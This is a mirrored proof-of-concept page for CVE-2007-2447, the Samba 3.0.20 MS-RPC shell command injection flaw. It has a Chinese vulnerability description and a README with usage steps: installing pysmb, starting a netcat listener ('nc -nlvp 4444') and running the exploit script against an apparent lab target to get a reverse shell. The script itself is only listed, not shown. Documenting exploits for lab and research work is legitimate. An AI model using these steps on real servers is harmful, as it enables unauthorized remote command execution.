Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2007-2447 PoC — Samba MS-RPC Shell命令注入漏洞

Source
Associated Vulnerability
Title:Samba MS-RPC Shell命令注入漏洞 (CVE-2007-2447)
Description:Samba是Samba团队开发的一套可使UNIX系列的操作系统与微软Windows操作系统的SMB/CIFS网络协议做连结的自由软件。该软件支持共享打印机、互相传输资料文件等。 Samba在处理用户数据时存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上执行任意命令。 Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执
Description
Exploit Samba smbd 3.0.20-Debian
Readme
# CVE-2007-2447

🖥️ -h3x0v3rl0rd- #️⃣ CVE-2007-2447

```
python3 smb3.0.20.py -lh [localhost] -lp [local port] -t [target]
```

### Error

![image](https://github.com/user-attachments/assets/91dd832e-b68d-4db9-b446-2abf4ba18fc8)

The error you're encountering indicates that the Python script is trying to import a module named `smb`, but it is not installed on your system. The smb module is part of the pysmb library, which allows you to interact with SMB/CIFS servers.

To resolve this issue, you need to install the `pysmb` library. You can do this using `pip`. Here's how:

1. Install pysmb:

```
pip3 install pysmb
```

2. Verify the installation: After installing, you can verify that the pysmb module is installed by running:
```
python3 -c "import smb; print('pysmb is installed')"
```

![image](https://github.com/user-attachments/assets/04c368b0-82b0-401a-a69f-00c67b671942)


### Create a Netcat listener

```
nc -nlvp 4444
```

### Run the script

```
python3 smb3.0.20.py -lh 10.10.16.18 -lp 4444 -t 10.10.10.3
```
![image](https://github.com/user-attachments/assets/ab7dc16f-178e-4ab0-a1f0-a50e88e6f768)

![image](https://github.com/user-attachments/assets/b30c327d-a9ad-4115-9970-e3e2206538c3)




File Snapshot

[4.0K] /data/pocs/7a9dc051316769223615211ae9d3a0461c22c8af ├── [1.2K] README.md └── [2.1K] smb3.0.20.py 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.